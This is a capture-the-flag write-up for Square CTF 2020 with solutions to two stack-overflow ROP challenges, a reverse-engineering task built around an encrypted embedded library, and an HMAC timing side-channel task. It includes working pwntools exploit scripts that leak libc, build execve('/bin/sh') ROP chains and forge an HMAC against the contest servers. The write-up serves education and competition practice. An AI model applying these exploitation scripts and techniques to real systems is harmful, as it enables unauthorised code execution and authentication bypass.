Writeups for the Square CTF 2020================================
# Table of Contents
* [Jimi Jam (pwn)](#jimi1)* [Jimi Jamming (pwn)](#jimi2)* [Happy Fun Binary (rev)](#happy_fun)* [Hash My Awesome Commands (crypto)](#hash_my)
# Tasks

## Jimi Jam (pwn)
Jimi Jam was a binary exploitation challenge where you were to craft a ROP chain in order to execute a shell and retrieve the flag.
You were given the binary and the `libc` it is using:```jimi_jam├── jimi-jam└── libc.so.6```
Examining the binary reveals a 64-bit executable.Also note that there is no canary and we are dealing with a position independent executable with full RELRO, meaning that we cannot possibly mess with the dynamic linker.```$ checksec jimi-jam[*] 'jimi-jam'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled
```
The executable being position independent does not even matter since the binary is friendly enough to reveal an address:```$ LD_PRELOAD=./libc.so.6 ./jimi-jamHey there jimi jammer! Welcome to the jimmi jammiest jammerino!The tour center is right here! 0x559a5caa4060Hey there! You're now in JIMI JAM JAIL```
Disassembling the binary reveals further insight on the inner workings:```cint main(void) {  init_jail();  puts("Hey there jimi jammer! Welcome to the jimmi jammiest jammerino!");  printf("The tour center is right here! %p\n",ROPJAIL);  vuln();}```
We can see that the executable is setting up a *rop jail* of some sort and than prints the address of said jail (`ROPJAIL`). `ROPJAIL` resides inside the `.bss` section of the binary:```objdumpSYMBOL TABLE:0000000000004020 l    d  .bss   0000000000000000              .bss0000000000004048 l     O .bss   0000000000000001              completed.80600000000000004020 g     O .bss   0000000000000008              stdout@@GLIBC_2.2.50000000000004030 g     O .bss   0000000000000008              stdin@@GLIBC_2.2.50000000000004060 g     O .bss   0000000000002000              ROPJAIL0000000000006060 g       .bss   0000000000000000              _end0000000000004010 g       .bss   0000000000000000              __bss_start0000000000004040 g     O .bss   0000000000000008              stderr@@GLIBC_2.2.5```
As it turns out this jail is not really important for this part of the challenge.It will become relevant in the second version [below](#jimi2) though.
So let's skip ahead to the `vuln` function:```cvoid vuln(void) {  undefined local_10 [8];   puts("Hey there! You\'re now in JIMI JAM JAIL");  read(0,local_10,0x40);  return;}```
This is a basic stack overflow vulnerability.
My plan then was the following:1. Leak a `libc` address2. Re-use the vulnerablity to execute a ROP chain into `libc`
The first part requires a gadget to alter `%rdi` which is available in the binary:```$ ropper -f jimi-jam --search "pop rdi"[INFO] Load gadgets from cache[LOAD] loading... 100%[LOAD] removing double gadgets... 100%[INFO] Searching for gadgets: pop rdi
[INFO] File: jimi-jam0x00000000000013a3: pop rdi; ret;```
We can use it to set up an argument to f. e. `puts` and print the content of the global offset table for any library function.I simply chose `puts` again here:
```pythonfrom pwn import *import sys
io = process(["./jimi-jam"], env={ "LD_PRELOAD": "./libc.so.6" })
io.recvline()
center = io.recvline().rsplit(b" ", 1)[-1].strip()base = int(center.decode("utf-8")[2:], 16) - 0x4060print(center)print(hex(base))
io.recvline()
pop_rdi = 0x00000000000013a3 + base
# address of puts in mainloop = 0x130d + base
puts_got = 0x3fa0 + base
print("puts_got", hex(puts_got))
payload = b"A" * 16 + p64(pop_rdi) + p64(puts_got) + p64(loop)
io.sendline(payload)
puts = io.readline()[:-1].ljust(8, b"\x00")print("puts", puts)
puts = u64(puts)
libc_base = puts - 0x625a0 - 0x25000print("libc_base", hex(libc_base))```
With the knowledge of the `libc` base address we can work on getting a shell.I simply used `one_gagdet` here:```$ one_gadget ./libc.so.60xe6e73 execve("/bin/sh", r10, r12)constraints:  [r10] == NULL || r10 == NULL  [r12] == NULL || r12 == NULL
0xe6e76 execve("/bin/sh", r10, rdx)constraints:  [r10] == NULL || r10 == NULL  [rdx] == NULL || rdx == NULL
0xe6e79 execve("/bin/sh", rsi, rdx)constraints:  [rsi] == NULL || rsi == NULL  [rdx] == NULL || rdx == NULL```
Sadly these constraints are not satisfied so we have to do a little manual grooming, setting relevant registers to zero.I simply chose the last one here.Therefor we need two more gadgets to set `%rsi` and `%rdx`.We can use ropper once again and will find them very quickly in `libc.so.6`.
The second part of the exploit may look like this now:```pythongadget = libc_base + 0xe6e79print("gadget", hex(gadget))
pop_rsi = 0x0000000000027529 + libc_basepop_rdx_pop_r12 = 0x000000000011c371 + libc_base
io.readline()io.readline()
padding = b"B" * 8 + p64(base + 0x4000 + 0x78)payload = padding + \    p64(pop_rsi) + \    p64(0) + \    p64(pop_rdx_pop_r12) + \    p64(0) + p64(0) + \    p64(gadget)io.sendline(payload)
```
The full exploit is available [here](jimi_jam/x.py).

## Jimi Jamming (pwn)
Jimi Jamming was very similar to Jimi Jam though now requiring you to actually jump into the `ROPJAIL`.So let's take closer look how the jail is constructed:
```csrand(0x138d5);posix_memalign((void **)&ROPJAIL,0x1000,0x1000);local_c = 0;while ((int)local_c < 0x1000) {    if ((local_c & 0xf) == 0) {      *(undefined *)((long)(int)local_c + (long)ROPJAIL) = 0xc3;    }    else {      iVar1 = rand();      *(undefined *)((long)(int)local_c + (long)ROPJAIL) = (char)iVar1;    }    local_c = local_c + 1;}```
We can see that the random number generator is seeded with a constant value (`0x138d5`).After that `0x1000` pseudo-random bytes are placed inside the `ROPJAIL`.Furthermore every 16th byte is set to `0xc3` essentially forcing a `ret` instruction.
In this challenge we are also allowed to place 10 bytes into the jail at a position of our choosing.
Eventually the region is then mapped read-only and executable.
Since the content of the region does not change between calls to the executable (I think this would have been a nice twist) we can simply dump the contents and try to find gadgets inside it:
```$ gdb jimi-jamming
gef➤  break *(main + 108)gef➤  rungef➤  dump memory jail.bin (void**)ROPJAIL ((void**)ROPJAIL + 0x1000)```
We can easily analyse it using `ropper`:```$ ropper --arch x86_64 -r -f jail.bin[...]```
Sadly there will be no `syscall` instruction inside the blob.Luckily we can write some custom data though.My idea was to write `/bin/sh\x00` and a syscall instruction `\x0f\x05` to eventually execute `execve("/bin/sh", NULL, NULL)`
This is rather straight forward and may look like [this](jimi-jamming/x.py):```pythonfrom pwn import *import sys
# io = process(["./jimi-jamming"], env={ "LD_PRELOAD": "./libc.so.6" })# io = process(["./jimi-jamming"])io = remote("challenges.2020.squarectf.com", 9001)
io.recvuntil(b"somewhere\n")key = b"\x0f\x05/bin/sh\x00"io.send(key)io.recvuntil(b"key?\n")key_offset = 8io.send(str(key_offset).encode("utf-8"))
io.recvline()center = io.recvline().rsplit(b" ", 1)[-1].strip()jail = int(center.decode("utf-8")[2:], 16)base = jail - 0x6000
print("jail", hex(jail))print("base", hex(base))
io.recvline()
pop_rdi = 0x0000000000000daf + jail;pop_rax = 0x0000000000000dcf + jail;pop_rsi = 0x0000000000000d3f + jail;pop_rdx = 0x00000000000007df + jail;syscall = key_offset + jail;slope = jail
print("key at ", hex(jail + key_offset))
rop = p64(pop_rdi) + p64(jail + key_offset + 2) + \        p64(pop_rax) + p64(0x3b) + \        p64(pop_rsi) + p64(0) + \        p64(pop_rdx) + p64(0) + \        p64(syscall)
payload = p64(0) * 4 + p64(slope) + ropio.sendline(payload)io.interactive()```

## Happy Fun Binary (rev)
Before we start: Shout-out to the authors, I think it was a pretty cool challenge!
Happy Fun Binary was a rough one, a composition of 4 flags hidden inside a single binary.Once you found the first flag you were able to work on the next two.Finally, when you would discover the first three flags the 4th flag was given to you as the cherry on top.
Sadly we required quite a lot of time to discover the first flag which kind of denied us from digging into the second and third flag during the competition :(
Anyway here is our approach for the first flag.
Examining the given [binary](happy_fun_binary/happy_fun_binary) reveals a stripped 32-bit executable:```$ file happy_fun_binaryhappy_fun_binary: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=fc63998490d30e659bbdc8b07450c26eecd3e141, for GNU/Linux 3.2.0, stripped```
Inspecting the main method in `binaryninja` reveals some of the initial functionality:
```objdumpint32_t main(int32_t argc, char** argv, char** envp)
00001675  void* gsbase00001675  int32_t eax = *(gsbase + 0x14)0000168f  setvbuf(*stdout, 0, 2, 0)000016a1  puts("You step up to the entry point o…")000016b4  int32_t var_68 = *stdin000016bb  void var_54000016bb  fgets(&var_54, 0x40, var_68)000016cc  char const* const var_6c = "approach the main entrance\n"000016d9  if (strcmp(&var_54, "approach the main entrance\n") == 0)000016eb      puts("As you approach, ahead is a gate…")000016fe      do000016fe          var_68 = *stdin00001705          fgets(&var_54, 0x40, var_68)00001723          if (strcmp(&var_54, "examine the gate\n") == 0)00001731              puts("You get closer to the gate, and …")0000174f          int32_t var_5c0000174f          if (strcmp(&var_54, "modify the gate\n") == 0)0000175d              puts("What value do you place in the g…")00001777              fgets(&var_54, 4, *stdin)00001782              var_68 = 0x1000001792              *data_ba98 = strtol(&var_54, 0, 0x10)00001798              int32_t eax_9 = *data_ba98000017ac              var_5c = eax_9 + 0x1000000017b9              puts("You place the new value into the…")000017d7          if (strcmp(&var_54, "step through the gate\n", var_68) == 0)000017e5              puts("You step through the gate, hopin…")000017f6              var_5c()00001801          var_6c = "leave\n"00001801      while (strcmp(&var_54, "leave\n") != 0)00001822  puts("You decide you've had enough and…", var_6c, var_68)00001849  if ((eax ^ *(gsbase + 0x14)) == 0)00001849      return 00000183b  __stack_chk_fail_local()0000183b  noreturn```
It appears to be a text-based RPG!
To proceed we need to enter `step through the gate` (at `0x17d7`).The problem is the gate will call an address which should be provided by us earlier (at `0x1792` following `0x174f`).So it appears we have to find the correct function to call.
There are some interesting functions so let's take a quick look at them:
```objdumpint32_t sub_136d(void* arg1, int32_t arg2, int32_t arg3, void* arg4)
0000138b  char var_9 = arg3:0.b000013e6  int32_t var_8000013e6  for (var_8 = 0; arg2 u> var_8; var_8 = var_8 + 1)000013b8      uint32_t eax_10 = zx.d(var_9 ^ *(arg4 + (zx.d(var_9) & 3)))000013cc      *(arg1 + var_8) = zx.d(*(arg1 + var_8)) + (eax_10 * eax_10):0.b000013d9      var_9 = *(arg1 + var_8)000013eb  return var_8```
```objdumpint32_t sub_1409()
00001435  int32_t eax = fopen("binary_of_ballas.so", data_201c)00001451  fwrite(data_4020, 1, 0x7a78, eax, "binary_of_ballas.so", eax)0000145f  fclose(eax)00001473  int32_t eax_1 = dlopen("./binary_of_ballas.so", 2)00001484  remove("binary_of_ballas.so")000014a7  int32_t eax_4 = dlsym(eax_1, "foyer")()000014ae  return eax_4```
```objdumpint32_t sub_14b3() __noreturn
000014c5  void* gsbase000014c5  *(gsbase + 0x14)000014da  puts("You emerge from the other side o…")000014e7  char var_55 = rand():0.b00001502  int32_t var_54 = *data_ba98 * (*data_ba98 * *data_ba98)00001510  while (true)00001510      int32_t var_64_1 = *stdin00001517      int32_t* var_6000001517      void var_5000001517      fgets(&var_50, 0x40, var_64_1, var_60)00001535      if (strcmp(&var_50, "modify the input\n") == 0)00001543          puts("What would you like to change th…")0000155f          var_55 = fgetc(*stdin):0.b0000156c          puts("you modify the input, hoping it …")0000158a      if (strcmp(&var_50, "use the lower function\n") == 0)00001595          var_60 = &var_5400001596          var_64_1 = sx.d(var_55)000015a3          sub_136d(data_4020, 0x7a78, var_64_1, var_60)000015b5          puts("You run the lower function, and …")000015d3      if (strcmp(&var_50, "use the upper function\n", var_64_1, var_60) == 0)000015de          var_60 = &var_54000015df          var_64_1 = sx.d(var_55)000015ec          sub_13ec(var_64_1)000015fe          puts("You run the upper function. it d…", 0x7a78)0000161c      if (strcmp(&var_50, "use the gate\n", var_64_1, var_60) == 0)0000162e          puts("Gathering together your register…")00001636          sub_1409()```
The one which seems to fit the most is `sub_14b3()` (which is actually located at `0x14af`, never fully trust the disassembler !:)
Another interesting thing to note is `sub_1409` which attempts to read a shared library called `binary_of_ballas` out of the `.rodata` section of the binary.We can quickly dump its contents using `gdb` to investigate it further:```objdump$ xxd extracted.so | head00000000: a3de 956a 92a2 c201 44f9 e4b9 e4b9 e4b9  ...j....D.......00000010: e701 4741 45e4 b9e4 89b7 a1c4 2d04 79e4  ..GAE.......-.y.00000020: cdd9 64b9 e4b9 e4b9 1811 2439 eee9 4c89  ..d.......$9..L.00000030: c201 61c4 fab1 8479 e4b9 e4b9 e4b9 e4b9  ..a....y........00000040: e4b9 e4b9 00ea 9104 952d 0479 e871 8479  .........-.y.q.y00000050: e4c9 a439 e564 b9e4 b9f4 1964 b9f4 1964  ...9.d.....d...d00000060: b9f4 1964 09b8 d104 c9b8 d104 7e89 a439  ...d........~..900000070: e4c9 a439 e564 b9e4 b914 d964 b914 d964  ...9.d.....d...d00000080: b914 d964 c154 5964 c154 5964 bd44 f9e4  ...d.TYd.TYd.D..00000090: b9f4 1964 ba31 8479 bc77 21c4 d162 4144  ...d.1.y.w!..bAD```This does not look like a shared library though, meaning it is probably obfuscated in some strange way.
Let's continue by investigating the function `sub_14b3()` which appears to be the *other side* of the gate.We can run the binary to see if the path makes sense:```$ ./happy_fun_binaryYou step up to the entry point of the Binary, an ancient looking ruin composed of 0s and 1s.
approach the main entranceAs you approach, ahead is a gate, but you quickly realize something is off.modify the gateWhat value do you place in the gate?
4afYou place the new value into the gate. It... looks right? Probably?
step through the gateYou step through the gate, hoping that more than just a brick wall of zeroes lays beyond...
You emerge from the other side of the gate, almost surprised that there were no nasty segfaults lying in wait. Instead, a sea of entropy lies before you, directly in front of which lies two functions,  As well as another inactive gate. At a glance, the gate appears a little more sophisticated than the last, as if it were capable of locking on to some sort of symbol buried somewhere in the expanse of meaningless data. The lower function appears decrepit and worn down, but still working. The other function appears almost Identical, as though it were a mirror of the other. However, where the main portion of the former function seems to be working as intended, the contents of the other function seems to have been left out entirely, as though to prevent others from using it. Both functions appear to take a number of parameters, one of which is easily modifiable.```
Looks good, doesn't it?
Indeed we have an option `use the gate` which would load `binary_of_ballas.so`. We still have to decode it though. There are two more functions called `upper` and `lower`.It turns out the lower function is `sub_136d` from above.Inspecting the supplied arguments at `0x15a3` we can see that this function is performing some operations on the data section containing the shared library!We can also see that using the option `modify the input` we can control `arg3` (which is actually one byte).
To get a deeper understanding of the function we can inspect the equivalent C-code which I extracted using `Ghidra`:```ctypedef unsigned char byte;typedef unsigned int uint;
void encrypt(byte* address,uint length,byte key){  byte param_4[4] = { 0x0f, 0x53, 0xbd, 0x66 };
  byte key_copy;  uint counter;   key_copy = key;  counter = 0;  while (counter < length) {    key_copy = key_copy ^ *(byte *)(param_4 + (key_copy & 3));    *(byte *)(address + counter) = *(char *)(address + counter) + key_copy * key_copy;    key_copy = *(byte *)(address + counter);    counter = counter + 1;  }  return;}
```As you may have noticed already I named the function `encrypt` hinting that this is actually the encryption logic rather than the decryption logic.In order to find the library we would somehow recover the key and the decryption routine.
Since we know that the resulting data is (probably) an ELF we know the first bytes of the resulting file to match the ELF-header `\x7fELF`.With that in mind we can simply use our extracted encryption routine to encrypt the known header values for all possible key values and check if the result is that of the extracted data.
I hacked this little C-code which does exactly that (`encrypted.so` being the extracted binary):```cvoid print_possible_keys() {    uint i;
    byte header[16];    FILE* f_elf = fopen("happy_fun_binary", "rb");    fread(header, 1, 16, f_elf);    fclose(f_elf);
    byte target[16];    FILE* f_enc = fopen("encrypted.so", "rb");    fread(target, 1, 16, f_enc);    fclose(f_enc);
    byte enc[16];    for(i = 0; i <= 255; ++i) {        memcpy(enc, header, 16);        encrypt(enc, 16, (byte)i);        if(memcmp(enc, target, 16) == 0) {            printf("%u\n", i);        }    }}
```
Running it reveals a few possible values for keys:```214185105149169213233```
Since I could not think of a way to invert the encryption routine I simply followed up by writing code which brute-forces every possible byte at a time.This is possible because we know the output of the encryption method.We can than, one byte at a time, check which input byte would have produced the given output:```c    uint size = 0x7a78;    int i;    byte key_to_test = atoi(argv[1]);    printf("Testing %u\n", (uint)key_to_test);
    byte encrypted_target[size];    FILE* f_src = fopen("encrypted.so", "rb");    fread(encrypted_target, 1, size, f_src);    fclose(f_src);
    byte decrypted[size];    memset(decrypted, 0, size);
    byte tmp[size];    for(i = 0; i < size; ++i) {        int guess;
        for(guess = 0; guess <= 255; ++guess) {            memcpy(tmp, decrypted, i + 1);            tmp[i] = (byte)guess;            encrypt(tmp, i + 1, key_to_test);            if(tmp[i] == encrypted_target[i]) {                break;            }        }        if(guess == 256) {            printf("Could not find value\n");            exit(1);            break;        }        decrypted[i] = (byte)guess;    }
    FILE* f_dst = fopen("decrypted.so", "wb");    fwrite(decrypted, 1, size, f_dst);    fclose(f_dst);```
You can find the full code [here](happy_fun_binary/decode.c).To start with I tried the key `21` first and indeed it worked:```$ file decrypted.sodecrypted.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=adecbce169f325a39630c9e46b94235196d7f48a, not stripped```
This will reveal the first flag in the `.rodata` section:```$ strings decrypted.so | grep flag{flag{yes_this_is_all_one_big_critical_role_reference}```
From there we can continue into the `foyer` and proceed with the next two challenges:```c// foyer.c// gcc -o foyer -m32 foyer.c decrypted.so
extern void foyer();
int main() {    foyer();}```
```$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:. ./foyerYou emerge into a grand and extravegant foyer. While sparsely furnished, intricately crafted code decorates every square inch of the walls and ceiling. In the center of the room lies a grand structure, carved into which are three slots. The three slots feed into a large chest in the middle of the room. On the far side of the room lies 2 semi-circular doorways leading into darkness.
```
From there the journey continues ...You are on your own now.

## Hash My Awesome Commands (crypto)
This challenge was a fun little side quest which could run in the background whilst solving the other tasks.Essentially you were able to forge an [HMAC](https://en.wikipedia.org/wiki/HMAC) by abusing a hand-crafted timing side channel.
The service was written in GO and the source was [provided](hash_my_awesome_commands/hmac.go).The service allowed to enable a debug mode, which measured timings server-side:
```Enter command: debug|9W5iVNkvnM6igjQaWlcN0JJgH+7pComiQZYdkhycKjs=debug mode enabled-----------DEBUG MODE ENABLED-----------Enter command: debug|9W5iVNkvnM6igjQaWlcN0JJgH+7pComiQZYdkhycKjs=command: debug, check: 9W5iVNkvnM6igjQaWlcN0JJgH+7pComiQZYdkhycKjs=took 552072361 nanoseconds to verify hmacdebug mode disabled[...]```
The command and the respective HMAC were given. The goal was to forge the HMAC for the `flag` command.
The relevant code of the source which sets up the timings is the following:```gofunc compare(s1, s2 []byte) bool {	if len(s1) != len(s2) {		return false	}
	c := make(chan bool)
	// multi-threaded check to speed up comparison	for i := 0; i < len(s1); i++ {		go func(i int, co chan<- bool) {			// avoid race conditions			time.Sleep(time.Duration(((500*math.Pow(1.18, float64(i+1)))-500)/0.18) * time.Microsecond)			co <- s1[i] == s2[i]		}(i, c)	}
	for i := 0; i < len(s1); i++ {		if <-c == false {			return false		}	}
	return true}```
You can see that an artificial delay was introduced for each byte of the comparison. This delay depends on the index and increases significantly with a greater index.
Exploiting this is pretty straight-forward:Test each possible value for the first byte and fix it to the value which had the longest comparison timings. After that advance to the next byte and repeat.
Patience is the key here ..
I also tried a multi-threaded approach but apparently this caused some issues with the timings so a simple single-threaded [solution](hash_my_awesome_commands/solve.py) it is:
```pythonimport mathimport base64import statistics
from pwn import *
# flag|ndAoSzx/CbizTqNBB5cz3t6XGFEGbQwIc9i7SawgTKE=# flag: flag{d1d_u_t4k3_the_71me_t0_appr3c14t3_my_c0mm4nd5}
debug_command = b"debug|9W5iVNkvnM6igjQaWlcN0JJgH+7pComiQZYdkhycKjs="
hmac = [0] * 32
def get_flag_cmd(hmac):    return b"flag|" + base64.encodebytes(bytes(hmac))
c = remote("challenges.2020.squarectf.com", 9020)c.recvuntil(b"command: ")
# enable debug modec.sendline(debug_command)
for bi in range(len(hmac)):    # perform n trials for each byte. Sometimes 3 is not enough cause of     # some (server-side) hiccups.     # We can continue where we left off though    # A "hiccup" can be identified by examining the timings     # and finding that they did not increase significantly with respect    # to the previous ones    trials = 3    timings = []    for _ in range(trials):        ts = []        for i in range(256):            hmac[bi] = i
            c.recvuntil(b"command: ")            c.send(get_flag_cmd(hmac))            c.recvuntil(b"took")            t = c.recvline()            valid = c.recvline()
            if b"invalid" not in valid:                print(get_flag_cmd(hmac))                exit(0)
            t = int(t.lstrip().split(b" ")[0])            ts.append(t)
        timings.append(ts)
    avg = list(map(statistics.median, list(zip(*timings))))    print("Timings:", avg)    mx = -1    mi = -1    for i, avgi in enumerate(avg):        if avgi > mx:            mx = avgi            mi = i
    assert mi > -1    hmac[bi] = mi    print("HMAC:", hmac[:bi + 1])```
Eventually this script will finish and we can enter the command to retrieve the flag:
```Enter command: flag|ndAoSzx/CbizTqNBB5cz3t6XGFEGbQwIc9i7SawgTKE=flag{d1d_u_t4k3_the_71me_t0_appr3c14t3_my_c0mm4nd5}```